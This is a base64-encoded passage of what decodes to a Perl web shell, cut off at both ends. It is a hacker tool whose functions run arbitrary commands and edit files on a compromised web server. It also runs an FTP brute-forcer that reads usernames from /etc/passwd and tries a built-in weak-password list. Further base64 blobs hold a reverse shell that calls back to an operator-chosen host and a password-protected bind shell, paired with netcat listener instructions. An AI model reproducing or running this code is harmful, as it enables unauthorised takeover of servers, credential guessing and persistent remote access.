c2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSkNCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KCQ0KCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgTUlNRTo6QmFzZTY0Ow0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCBiYWNrY29ubmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7D